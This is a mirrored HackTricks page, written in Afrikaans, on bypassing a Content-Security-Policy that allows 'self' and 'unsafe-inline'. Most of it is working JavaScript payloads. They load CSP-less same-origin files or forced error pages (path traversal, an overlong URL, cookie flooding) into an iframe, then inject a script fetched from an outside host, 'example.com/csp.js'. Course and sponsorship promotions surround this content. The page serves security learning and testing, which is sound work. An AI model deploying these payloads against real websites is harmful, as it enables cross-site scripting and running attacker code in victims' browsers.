mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
82 lines
4.5 KiB
Markdown
82 lines
4.5 KiB
Markdown
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
|
|
'n Konfigurasie soos:
|
|
```
|
|
Content-Security-Policy: default-src 'self' 'unsafe-inline';
|
|
```
|
|
Prohibeer die gebruik van enige funksies wat kode uitvoer wat as 'n string oorgedra word. Byvoorbeeld: `eval, setTimeout, setInterval` sal almal geblokkeer word weens die instelling `unsafe-eval`
|
|
|
|
Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en, veral, JS
|
|
|
|
### Via Tekst & Beelde
|
|
|
|
Dit word waargeneem dat moderne blaaiers beelde en teks in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML gerender. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript daaruit moontlik maak:
|
|
```javascript
|
|
frame=document.createElement("iframe");
|
|
frame.src="/css/bootstrap.min.css";
|
|
document.body.appendChild(frame);
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
### Via Foute
|
|
|
|
Net so, foutresponsies, soos tekslêers of beelde, kom tipies sonder CSP-koptekste en mag X-Frame-Options weglat. Foute kan veroorsaak word om binne 'n iframe te laai, wat die volgende aksies moontlik maak:
|
|
```javascript
|
|
// Inducing an nginx error
|
|
frame=document.createElement("iframe");
|
|
frame.src="/%2e%2e%2f";
|
|
document.body.appendChild(frame);
|
|
|
|
// Triggering an error with a long URL
|
|
frame=document.createElement("iframe");
|
|
frame.src="/"+"A".repeat(20000);
|
|
document.body.appendChild(frame);
|
|
|
|
// Generating an error via extensive cookies
|
|
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
|
|
frame=document.createElement("iframe");
|
|
frame.src="/";
|
|
document.body.appendChild(frame);
|
|
// Removal of cookies is crucial post-execution
|
|
for(var i=0;i<5;i++){document.cookie=i+"="}
|
|
```
|
|
Na die aktivering van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe haalbaar soos volg:
|
|
```javascript
|
|
script=document.createElement('script');
|
|
script.src='//example.com/csp.js';
|
|
window.frames[0].document.head.appendChild(script);
|
|
```
|
|
## Verwysings
|
|
|
|
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
|
|
|
|
|
{% hint style="success" %}
|
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|